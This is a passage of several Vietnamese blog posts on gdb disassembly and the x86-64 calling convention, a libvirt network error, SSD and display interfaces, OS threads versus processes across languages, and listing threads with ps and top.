  • call gọi function ở vị trí 0x1030, tức function puts với 1 argument được chứa trong rdi. Và bắt buộc phải là rdi, lý do bởi "call convention".

Call convention

Định nghĩa trong System V AMD64 ABI, mục 3.2.3 Parameter passing:

  1. If the class is INTEGER, the next available register of the sequence %rdi, %rsi, %rdx, %rcx, %r8 and %r9 is used
  • Lần lượt, rsi, rdi, rdx, rcx, r8, r9 chứa các argument 1-6
  • argument thứ 7 trở đi được push vào stack. Đây là lý do các function C thường không dùng hơn 6 argument để tối ưu tốc độ, các register luôn nhanh hơn push vào stack.
  • thứ tự các câu lệnh gán argument thực hiện từ phải qua trái (từ 8 đến 1): push 8, push 7, r9d=6, r8d=5, ecx=4, edx=3, esi=2, edi=1. GCC đã thực hiện tối ưu, nó phát hiện giá trị đủ nhỏ để chứa trong 32bits nên dùng ecx chứ không dùng rcx.
  • gọi call 0x1139, 0x1139 là địa chỉ của function sum.
10      int s = sum(1,2,3,4,5,6,7,8);
   0x00000000000011a6 <+23>:    push   0x8
   0x00000000000011a8 <+25>:    push   0x7
   0x00000000000011aa <+27>:    mov    r9d,0x6
   0x00000000000011b0 <+33>:    mov    r8d,0x5
   0x00000000000011b6 <+39>:    mov    ecx,0x4
   0x00000000000011bb <+44>:    mov    edx,0x3
   0x00000000000011c0 <+49>:    mov    esi,0x2
   0x00000000000011c5 <+54>:    mov    edi,0x1
   0x00000000000011ca <+59>:    call   0x1139 <sum>
   0x00000000000011cf <+64>:    add    rsp,0x10
   0x00000000000011d3 <+68>:    mov    DWORD PTR [rbp-0x4],eax
  • kết quả của function sum tự được chứa trong register eax. mov gán giá trị return của sum vào địa chỉ rbp-0x4.
11      return s*2;
   0x00000000000011d6 <+71>:    mov    eax,DWORD PTR [rbp-0x4]
   0x00000000000011d9 <+74>:    add    eax,eax

giá trị được gán vào eax rồi thực hiện *2 bằng cách cộng eax với eax qua add eax,eax. Kết quả của phép tính này tự được chứa trong eax, là giá trị main trả về. Chú ý, ở đây do GCC thực hiện tối ưu, nên thay phép nhân bằng phép cộng 2 số.

Các kiểu dữ liệu trong assembly - data type

Chapter 4.1 vol 1 Intel SDM viết:

A byte is eight bits, a word is 2 bytes (16 bits), a doubleword is 4 bytes (32 bits), a quadword is 8 bytes (64 bits), and a double quadword is 16 bytes (128 bits).

doubleword trong asm được ký hiệu là DWORD, quadword ký hiệu là QWORD.

Đọc assembly function sum

(gdb) disas /s sum
Dump of assembler code for function sum:
hello.c:
3   int sum(int a, int b, int c, int d, int e, int f, int g, int h) {
   0x0000000000001139 <+0>: push   rbp
   0x000000000000113a <+1>: mov    rbp,rsp
   0x000000000000113d <+4>: mov    DWORD PTR [rbp-0x14],edi
   0x0000000000001140 <+7>: mov    DWORD PTR [rbp-0x18],esi
   0x0000000000001143 <+10>:    mov    DWORD PTR [rbp-0x1c],edx
   0x0000000000001146 <+13>:    mov    DWORD PTR [rbp-0x20],ecx
   0x0000000000001149 <+16>:    mov    DWORD PTR [rbp-0x24],r8d
   0x000000000000114d <+20>:    mov    DWORD PTR [rbp-0x28],r9d

gán lần lượt trái qua phải (1-6) các register cho các địa chỉ dưới (nhỏ hơn) rbp. Chú ý chỉ là 6, 2 phần tử 7 8 trong stack chưa được xử lý.

4       int s = a + b + c + d + e + f + g + h;
   0x0000000000001151 <+24>:    mov    edx,DWORD PTR [rbp-0x14]
   0x0000000000001154 <+27>:    mov    eax,DWORD PTR [rbp-0x18]
   0x0000000000001157 <+30>:    add    edx,eax
   0x0000000000001159 <+32>:    mov    eax,DWORD PTR [rbp-0x1c]
   0x000000000000115c <+35>:    add    edx,eax
   0x000000000000115e <+37>:    mov    eax,DWORD PTR [rbp-0x20]
   0x0000000000001161 <+40>:    add    edx,eax
   0x0000000000001163 <+42>:    mov    eax,DWORD PTR [rbp-0x24]
   0x0000000000001166 <+45>:    add    edx,eax
   0x0000000000001168 <+47>:    mov    eax,DWORD PTR [rbp-0x28]
   0x000000000000116b <+50>:    add    edx,eax
   0x000000000000116d <+52>:    mov    eax,DWORD PTR [rbp+0x10]
   0x0000000000001170 <+55>:    add    edx,eax
   0x0000000000001172 <+57>:    mov    eax,DWORD PTR [rbp+0x18]
   0x0000000000001175 <+60>:    add    eax,edx
   0x0000000000001177 <+62>:    mov    DWORD PTR [rbp-0x4],eax

5       return s;
   0x000000000000117a <+65>:    mov    eax,DWORD PTR [rbp-0x4]

6   }
   0x000000000000117d <+68>:    pop    rbp
   0x000000000000117e <+69>:    ret

Thực hiện cộng rồi trả về kết quả. Truy cập argument 7 8 qua địa chỉ trên (lớn hơn) rbp: rbp+0x10 và rbp+0x18.

Thực hiện trên

$ gcc --version
gcc (GCC) 13.1.1 20230429
Copyright (C) 2023 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

$ gdb --version
GNU gdb (GDB) 13.1
Copyright (C) 2023 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
$ uname -a
Linux zb 6.1.38-1-MANJARO #1 SMP PREEMPT_DYNAMIC Wed Jul  5 23:49:30 UTC 2023 x86_64 GNU/Linux

Tham khảo

Kết luận

Assembly đơn giản, dễ đọc, khó viết.

Phần sau sẽ chạy qua từng dòng code với gdb để xem khi chạy các giá trị được lưu trữ và tính toán thế nào.

Hết.

HVN at http://pymi.vn and https://www.familug.org.

Ủng hộ tác giả 🍺

Monday, 24 July 2023

virt-manager error: Failed to start network default error: Unable to create bridge virbr0: Package not installed

$ sudo virsh net-start default
error: Failed to start network default error: Unable to create bridge virbr0: Package not installed

Or turn on the VM using virt-manager:

Error starting domain: Requested operation is not valid: network 'default' is not active

Solution

Enable libvirtd to start with the system.

systemctl enable libvirtd
reboot

HVN at http://pymi.vn and https://www.familug.org.

Ủng hộ tác giả 🍺

Wednesday, 12 July 2023

SSD NVMe vs SATA, DisplayPort vs HDMI, USB downstream port

USB Downstream - DisplayPort

^---- USB Downstream | DisplayPort ----^

SSD NVMe khác gì SSD SATA

Solid-state Drive (SSD) là thế hệ ổ cứng mới, không sử dụng đĩa quay như Hard Disk Drive (HDD), SSD tốc độ nhanh gấp 5 tới vài trăm lần so với HDD.

SATA là gì

Serial ATA (SATA) (~2004) là công nghệ sử dụng AHCI driver giao tiếp với ổ cứng HDD, công nghệ này cũng được dùng với SSD giúp cắm được vào các máy tính đời cũ, nhưng cản trở SSD bung mình bứt phá.

Các ổ cứng SATA THƯỜNG có hình chữ nhật giống bao thuốc lá.

NVMe là gì

Non-Volatile Memory Express (NVMe) (~2011) driver được thiết kế cho SSD, kết hợp sử dụng khe cắm PCIe, cho tốc độ nhanh hơn SATA có thể lên tới 100 lần.

Các ổ cứng NVMe THƯỜNG dài thon như 2 ngón tay, hay phong kẹo cao su.

$ mount | grep ' on / '
/dev/nvme0n1p1 on / type ext4 (rw,relatime,errors=remount-ro)

M.2 2280 vs 2.5 inch

NVMe và SATA là các chuẩn giao tiếp, không phải hình dáng của ổ cứng. Hình dáng (form factor) có 2 loại phổ biến:

  • 2.5 inch: hình dáng truyền thống của ổ HDD cho laptop, sau đó là SSD sử dụng SATA.
  • M.2 2280: (đọc là m dot two) 22 80: rộng 22mm dài 80mm, là kiểu dáng phổ biến của SDD sử dụng NVMe.

Giao thức có ảnh hưởng tới hình dáng, nhưng không quyết định. Vẫn có SSD có dáng M.2 dùng SATA mặc dù ngày càng ít. M.2 SATA sẽ có 2 "khe" thay vì M.2 NVMe chỉ có 1 "khe", xem hình tại kingston hay các trang web bán phần cứng máy tính.

PCIe 3x4

PCI Express (Peripheral Component Interconnect Express) PCIe, là giao diện phần cứng để lắp các thiết bị máy tính (VGA, SSD, ...) ngày nay.

  • PCIe thế hệ 3 gọi là PCIe 3, phiên bản 3.0 có từ 2010 và được sản xuất phổ biến nhất tại 2023, với giá rẻ nhất.
  • PCIe 4 đã xuất hiện với các thiết bị tầm trung.
  • PCIe 5 còn hiếm.
  • PCIe 6 đã có ở đâu đó và 7 đang được lên kế hoạch.

PCIe có thể chứa nhiều lane cùng gửi nhận tín hiệu cùng lúc làm tăng tốc độ, x4 là 4 lane, x16 là 16 lane về lý thuyết nhanh hơn x4 4 lần. M.2 có thể sử dụng tối đa 4 lane (x4).

https://en.wikipedia.org/wiki/PCI_Express#History_and_revisions

Đọc thông số 1 ổ cứng SSD

Tới đây đã có thể giải mã thông số khi mua ổ cứng SSD, ví dụ: XPG SPECTRIX PCIe Gen3x4 M.2 2280 Solid State Drive:

  • PCIe 3 với 4 lane
  • M.2 form rộng 22mm dài 80mm

DisplayPort (DP) vs HDMI

Các cổng/dây cắm truyền hình ảnh từ máy tính qua màn hình:

VGA -> DVI -> HDMI -> DP

DisplayPort (DP) là công nghệ mới hơn HDMI, với các chỉ số vượt trội. Ngày nay hầu hết các màn hình đều có kèm dây DP nhưng người dùng vẫn quen dùng dây HDMI. DisplayPort cũng có thể sử dụng qua khe cắm USB-C (VD: MacBook).

USB Downstream port sau màn hình máy tính

USB Downstream là cổng cắm sau các màn hình ngày nay, có hình gần vuông, để với đầu kia cắm vào 1 cổng USB trên máy tính, cho phép sử dụng các cổng USB trên màn hình thay vì cắm trực tiếp vào máy tính, hoạt động như 1 USB Hub.

Tham khảo

Kết luận

Khi phần mềm thay đổi mỗi 2 năm thì phần cứng cũng không thua kém gì, không update, sẽ bị dated.

Hết.

HVN at http://pymi.vn and https://www.familug.org.

Ủng hộ tác giả 🍺

Monday, 26 June 2023

CPU chạy thread hay process?

Hay những câu hỏi liên quan:

  • Thread và process khác gì nhau?
  • 1 process chạy multithreading trên mấy CPU?
  • Vì sao Java, Rust không nhắc tới multiprocessing?
  • Khi chạy CPU bound, dùng multi-process hay multi-threaded?

bài này sẽ làm cho ra nhẽ.

Việc khó khăn nhất khi trả lời các câu hỏi này là tìm được các tài liệu có tính "chuẩn mực"/căn cứ, không phải mấy trang tutorial, wikipedia hay hỏi đáp trên mạng.

Process là gì, thread là gì

Người dùng máy tính thường biết đến khái niệm process trước, nó hiển thị mặc định trên các chương trình process manager như top, hay ps, hay Monitor trên Ubuntu, hay cả Task manager trên Windows. Mỗi process được gán cho 1 số ProcessID (PID), dùng lệnh kill -9 PID để tắt chương trình bị "treo". Khi chạy 1 chương trình, hệ điều hành sẽ tạo ra 1 (hay vài) process.

Cho tới khi học lập trình Python, thấy mỗi chương trình chỉ chạy code tuần tự từ trên xuống, nhận ra rằng mỗi 1 process chỉ chạy 1 "luồng" (thread), học thêm thư viện threading, biết tạo 2 3 4 thread chạy "cùng lúc" trong 1 process.

Ở đây dùng khái niệm process và thread của hệ điều hành (OS), một số ngôn ngữ lập trình có khái niệm process của riêng mình, VD: Erlang process không giống như OS process.

Trên hệ điều hành dùng Linux như Ubuntu, gõ man 7 pthreads, pthread hay POSIX thread, là "OS thread" trên Linux:

A single process can contain multiple threads, all of which are executing the same program. These threads share the same global memory (data and heap segments), but each thread has its own stack (automatic variables).

Các thread trong 1 process dùng chung dữ liệu (share data) và file description, nhưng có stack riêng.

Theo man 3 pthreads trên OpenBSD:

A thread is a flow of control within a process. Each thread represents a minimal amount of state: normally just the CPU state and a signal mask. All other process state (such as memory, file descriptors) is shared among all of the threads in the process.

In OpenBSD, threads use a 1-to-1 implementation, where every thread is independently scheduled by the kernel.

Theo man 3 pthread trên FreeBSD

POSIX threads are a set of functions that support applications with re- quirements for multiple flows of control, called threads, within a process. Multithreading is used to improve the performance of a program.

Hai BSD OS đều định nghĩa thread là một flow of control trong 1 process.

Theo Microsoft, nhà sản xuất hệ điều hành nhiều người dùng nhất trên thế giới định nghĩa: 1 process đơn giản là 1 chương trình đang chạy. Hay chi tiết hơn: một process cung cấp các tài nguyên để chạy 1 chương trình (code, file description, memory, ... và ít nhất 1 thread), một process bắt đầu với 1 thread, thường được gọi là primary/main thread.

Còn thread là đơn vị mà được hệ điều hành cung cấp cho thời gian dùng CPU.

So sánh process và thread

Khái niệm process có trước, mãi sau này mới có khái niệm (nhiều) thread. Mặc dù khi có 1 process thì nó luôn luôn chạy 1 thread. Trong 1 process có thể có nhiều thread, trong 1 thread không thể có nhiều process.

Nhưng thực ra phần lớn người ta muốn hỏi:

So sánh multi thread và multi process

Multi thread giống như multi process, ngoại trừ 1 việc: các thread share chung memory còn process thì không.

Multitasking - đa nhiệm

Máy tính ngày nay CPU 4 lõi, 8 lõi (core)... luôn chạy nhiều chương trình cùng lúc. Máy tính ngày xưa khi chỉ có 1 CPU 1 core cũng vậy, chạy được nhiều chương trình "cùng lúc" nhờ CPU chuyển liên tục chạy các chương trình khác nhau, việc chuyển đổi rất nhanh này khiến người dùng có cảm giác là chạy cùng lúc. Ví dụ chạy 4 process A B C D:

A B C D A B D C B A C D...

chuyện này không thay đổi kể cả với máy tính nhiều core do số chương trình chạy luôn lớn hơn số core nhiều lần. Ví dụ:

$ grep -c processor /proc/cpuinfo
4
$ ps -ef | wc -l
287

PS: bạn đọc sau khi đọc xong bài và tham khảo xem thread bằng top sẽ chạy ps -eLf

CPU Scheduler

Việc sắp xếp các chương trình chạy thế nào (dùng CPU thế nào) do một bộ phận của kernel có tên "scheduler" thực hiện. Đọc thêm về Linux CPU scheduler tại https://opensource.com/article/19/2/fair-scheduling-linux.

CPU chạy thread hay process?

Tham khảo tại man 7 sched

$ whatis sched
sched (7)            - overview of CPU scheduling

Trong tài liệu viết:

Scheduling policies
   The scheduler is the kernel component that decides which runnable thread
   will be executed by the CPU next.  Each thread has an associated
   scheduling policy and a  static scheduling  priority, sched_priority.  The
   scheduler makes  its  decisions  based  on knowledge  of  the  scheduling
   policy and static priority of all threads on the sys‐ tem.
...
API summary
   Linux provides the following system  calls for  controlling the CPU
   scheduling behavior, policy,  and  priority  of  processes (or, more
   precisely, threads).

Linux kernel scheduler sắp xếp lịch chạy trên CPU cho các thread (hay gọi là task). Trong man 1 taskset viết:

-a, --all-tasks
  Set or retrieve the CPU affinity of all the tasks (threads) for a given PID.

Một process chạy multithreading trên mấy CPU core?

Với 10 process, mỗi process chỉ có 1 thread, sẽ là 10 thread cần chạy, kernel sẽ sched (xếp lịch) việc chạy 10 task này cho N CPU. Tương tự 1 process, chạy 10 thread, kernel cũng sẽ sched việc chạy 10 task này cho N CPU (N > 0).

What?!

Python multi-threaded vs multi-process

Dòng thứ 2 trong tài liệu thư viện threading của Python viết

CPython implementation detail: In CPython, due to the Global Interpreter Lock, only one thread can execute Python code at once (even though certain performance-oriented libraries might overcome this limitation). If you want your application to make better use of the computational resources of multi-core machines, you are advised to use multiprocessing or concurrent.futures.ProcessPoolExecutor. However, threading is still an appropriate model if you want to run multiple I/O-bound tasks simultaneously.

Python là một trong số ít ngôn ngữ mà nhiều thread không chạy được trên nhiều CPU core cùng lúc do giới hạn của Global Interpreter Lock - GIL trong CPython/PyPy. Giới hạn này KHÔNG tồn tại trong các bản Python khác như Jython (trên JVM) và IronPython (trên .NET). Vì GIL, CPython chỉ có thể chạy trên CPU 1 thread 1 lúc, nên muốn chạy nhiều thread/process trên nhiều CPU core cùng lúc, Python có thư viện multiprocessing.

multiprocessing is a package that supports spawning processes using an API similar to the threading module. The multiprocessing package offers both local and remote concurrency, effectively side-stepping the Global Interpreter Lock by using subprocesses instead of threads. Due to this, the multiprocessing module allows the programmer to fully leverage multiple processors on a given machine.

Tránh nhầm lẫn rằng python threading thực sự chạy các thread cùng lúc trên nhiều CPU core, việc các thread có vẻ chạy cùng lúc trong Python chỉ là multitasking, chạy chuyển đổi giữa các thread.

Java multithreading

Java hỗ trợ multithreading với các thread chạy cùng lúc như mong đợi, và nhiều thread này hoàn toàn có thể được chạy trên nhiều CPU core.

Vì multithreading chạy rất ngon lành, nên ít có lý do gì để sinh ra khái niệm "multiprocessing" như Python. Ngoài ra, bật 1 Java process là chạy 1 máy ảo JVM nặng nề, khởi động chậm (so với bật 1 process CPython interpreter 0.1s 8MB RAM) nên việc này rất ít thấy trong thực tế.

PS: Python threading API dựa trên API của Java

Rust multithreading

Tương tự Java, không tồn tại thư viện "multiprocessing" trong Rust.

In most current operating systems, an executed program’s code is run in a process, and the operating system will manage multiple processes at once. Within a program, you can also have independent parts that run simultaneously. The features that run these independent parts are called threads. For example, a web server could have multiple threads so that it could respond to more than one request at the same time.

https://doc.rust-lang.org/book/ch16-01-threads.html

Go multithreading, multiprocessing

Go không dùng khái niệm process hay thread của hệ điều hành mà dùng khái niệm Goroutine, tương tự thread, nhưng do Go runtime quản lý thay vì OS kernel.

A goroutine is a lightweight thread managed by the Go runtime. Goroutines run in the same address space, so access to shared memory must be synchronized.

https://go.dev/tour/concurrency/1

Các goroutine cũng có thể được nhiều CPU core chạy cùng lúc

GOMAXPROCS sets the maximum number of CPUs that can be executing simultaneously and returns the previous setting.

Khi chạy CPU bound, dùng multi process hay multi thread?

  • CPU bound là chương trình dành phần lớn thời gian dùng CPU xử lý, khác với
  • IO bound là chương trình dành phần lớn thời gian đọc ghi file/network.

Câu hỏi này có thể là trap, cần hỏi lại dùng ngôn ngữ gì, trừ khi hỏi cụ thể tới Python thì trả lời dùng multiprocessing. Trong các ngôn ngữ khác như Rust/Java, multithreading là câu trả lời, vì không có thư viện multi-process mà chạy. Hay Go chỉ có goroutine chứ không có lựa chọn khác.

Khi nói chung chung, multi-process có ưu điểm là sự tách biệt giữa các process, một process bị crash sẽ không ảnh hưởng tới process khác, nhược điểm là việc giao tiếp giữa các process để chia sẻ data sẽ phức tạp. Nhiều chương trình dùng mô hình này như:

  • postgresql
  • nginx master-workers

Multi-threaded giúp dễ dàng truy cập bộ nhớ chung, nhưng có thể gặp trường hợp 1 thread crash khiến cả chương trình tắt ngóm, nhược điểm là dễ xảy ra race-condition: N thread tranh nhau truy cập cùng 1 tài nguyên.

Không có câu trả lời dễ dàng, vì đây là trường hợp của PostgreSQL, sau vài chục năm chạy multi-process, nay đang khám phá option multi-threaded.

Let's make PostgreSQL multi-threaded

Tham khảo

Kết luận

Thread là đơn vị task được kernel sched chạy trên nhiều CPU, process là 1 chương trình đang chạy.

Hết.

HVN at http://pymi.vn and https://www.familug.org.

Ủng hộ tác giả 🍺

Monday, 19 June 2023

ps và top hiển thị số thread

Người dùng Linux hẳn đều biết dùng lệnh ps -ef hay top để xem các "chương trình" đang chạy. Chương trình trên Linux thường ám chỉ 1 (vài) process đang chạy, mỗi process được gắn số ProcessID (PID).

Một process có thể chạy nhiều OS thread, để xem số lượng thread (NLWP) hay thread ID (LWP), thêm option -L

Xem thread với ps

$ ps -efL | grep python3
# Dòng này được thêm vào cho dễ hiểu
UID          PID    PPID     LWP  C NLWP STIME TTY          TIME CMD
--------------------------------------------------------------------------------
hvn         3818    1585    3818  0    2 21:28 pts/0    00:00:00 python3 main.py
hvn         3818    1585    3819  0    2 21:28 pts/0    00:00:00 python3 main.py

PID là 3818, 2 thread ID lần lượt là 3818 và 3819.

Code Python3

import time
from threading import Thread

class MyThread(Thread):
    def run(self):
        while True:
            time.sleep(2)
            print("running")

t = MyThread()
t.start()

t.join()

Xem thread với top

Trong top, bấm chữ H (hoa) để hiển thị thread, cột PID lúc này sẽ hiển thị threadID.

$ top -Hbn1 | grep python3
    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND
   3979 hvn       20   0   87912  10232   4900 S   0.0   0.1   0:00.05 python3
   3980 hvn       20   0   87912  10232   4900 S   0.0   0.1   0:00.00 python3
$ ps -efL | grep python3
UID          PID    PPID     LWP  C NLWP STIME TTY          TIME CMD
hvn         3979    1585    3979  0    2 21:35 pts/0    00:00:00 python3 main.py
hvn         3979    1585    3980  0    2 21:35 pts/0    00:00:00 python3 main.py

Tham khảo

  • man top
      -H  :Threads-mode operation Instructs top to display individual threads.
      Without this command-line option a summation of all threads  in  each
      process  is shown.  Later this can be changed with the `H' interactive
      command.
  • man ps
       -f     Do full-format listing.  This option can be combined with many
       other UNIX-style options to add additional columns.  It also causes the
       command arguments to be printed.  When used with -L, the NLWP (number of
               threads) and LWP (thread ID) columns will be added.  See the c
       option, the format keyword args, and the format keyword comm.

Kết luận

Có thể nhìn tận mắt thread đang chạy với ps và top.

Hết.

HVN at http://pymi.vn and https://www.familug.org.

Ủng hộ tác giả 🍺